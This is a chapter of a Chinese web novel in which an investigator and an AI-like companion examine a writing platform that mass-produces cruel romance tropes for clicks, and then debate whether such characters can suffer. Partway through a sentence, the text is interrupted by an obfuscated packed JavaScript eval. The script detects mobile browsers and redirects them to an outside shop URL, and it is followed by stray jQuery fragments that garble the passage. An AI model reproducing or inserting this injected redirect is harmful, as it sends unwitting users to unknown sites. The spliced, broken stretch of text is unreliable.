现实中的调查完毕，还有一件事待完成：网络调查。下午，不死途借用了归零的账号，潜入了蓝花平台。
顺便一提，她的id叫“我推蓝发神秘美少女”。
“不死途先生认得这角色吗？”归零真诚发问。
“取这个名字，不怕被打？”他当然知道。某智械对着泽塔钢弹的结局哀嚎两个小时，那场景至今都历历在目。
归零哑了火，等他打开主页的那一刻，又突然出声：“不许看我收藏夹。算了，随便看，我视死如归。”
“……”谁会想看《我的美人养父》，《高冷师尊要给我当炉鼎》，《救下那个万人嫌》这种奇奇怪怪的小说啊。
他懒得吐槽，进入了平台。
蓝花平台表面上只是一个普通创作平台。首页推送干净漂亮，封面一个比一个柔软，标题一个比一个深情。什么《他恨她入骨，失去后却疯了》，什么《被挖心后，太子殿下跪求我回头》，什么《她死后三年，他守着骨灰盒叫夫人》。
看上去像爱情。
点进去之后，才发现那不是爱情。那是流水线。
虐文同好交流区里，帖子更新得飞快。
有人讨论男主如何“追妻火葬场”才够爽，有人分享“怎样让女主更惨”，有人统计“前期虐点和后期甜点”，还有人把各种情节拆成模板：囚禁、误会、替身、流产、失明、残疾、绝症、死亡、重生、原谅。
再往深处，是写作指导区。
不死途点开第一个置顶帖：《虐心桥段如何做到短时间高转化：以〈锁春台〉和〈折玉骨〉为例》
帖子正文很长，写得非常认真。开头先分析“痛点建立”，然后分析“女主尊严剥夺”“亲密关系错位”“男主误会递进”“女二刺激点”“身体创伤与情绪爆点的配比”。
每一段后面都贴着数据截图，点击率、追更率、打赏转化、评论情绪关键词。
归零一开始还在骂。看到第三张图时，她不骂了。
不死途慢慢往下翻。
有作者在下面回帖：“可是这样写女主真的太惨了，我自己有点下不去手。”
有人回复：“那你就别写这赛道。读者要的就是这个。前面不虐狠一点，后面男主追妻怎么爽？”
第二个回复：“别把女主当真人，她只是承载情绪的皮套。”
第三个回复：“对，重点不是女主痛不痛，是读者有没有代入感。”
第四个回复：“我试过写温和一点，数据腰斩。平台不给流量，编辑也劝我多写些吸引眼球的东西。”
第五个回复：“没办法，现在大家口味重，你不写，有的是人写。”
他把页面停在这里。楼主继续贴出，甚至有一张“女主惨度评分表”。
身体损伤，几分。
亲密关系羞辱，几分。
被亲人背叛，几分。被男主误解，几分。
临死前仍然爱他，几分。
最后被他抱着尸体忏悔，几分。
归零一开始还在快速记录关键词，到后面，她的光屏闪烁速度慢了下来。
她忽然说：“她们知道自己在写什么吗？”
“不一定。”不死途说。
“这些角色会痛吗？”
“不知道。”
“如果会呢？”不死途看向她。归零仍然盯着屏幕，声音比平时低了。“如果她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718557|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们真的会痛，那这些人不就是每天把她们造出来，再凌迟，再造出来，再凌迟吗？”
不死途沉默了一会儿。
“对一些作者和读者来说，重生一千次只是数字。挖心、断腿、流产、死亡，也只是表现不幸的手法。她们不需要面对真实后果，所以也不需要真的想象后果。”
“就只是……这样？”归零喃喃道。她是互联网幽灵，是智械，是某种连她自己都还没有完全弄清楚的东西。她比任何人都清楚“被制造出来”意味着什么。
“去休息一会吧，归零。交给我就好。”不死途顿了顿。他能看出她状态不对。
归零在他肩头蹭了蹭，露出难得的撒娇姿态，“不要。”
“其实……我在想‘互联网幽灵’。”她干巴巴地回应，“她不是单独的谁。不是桃软软，不是离渊笔下的女主。她像一堆恶意、怨恨、消费记录和点击率粘在一起，最后生成的东西。”
不死途看着雨幕。“所以？”
“所以我有点理解它为什么恨。”她停了一下。“可是理解以后，反而更麻烦。”
“麻烦？”
“因为它不是完全错的。”归零说，“这些人确实制造了它。那些读者和平台也确实喂养了它。可它杀人，差点害死源心，还想威胁你。”
她的声音慢慢收紧。“我不想同情它。但我没办法完全不同情。”
雨落在屋檐上，声音密得仿佛落在键盘上的敲击。过了一会儿，不死途才说：“你可以同情。”归零愣了一下：“啊？”
“同情不等于放任。”不死途把外套领口拉高一点，“理解它为什么长出来，和阻止它继续吃人，这两件事并不冲突。”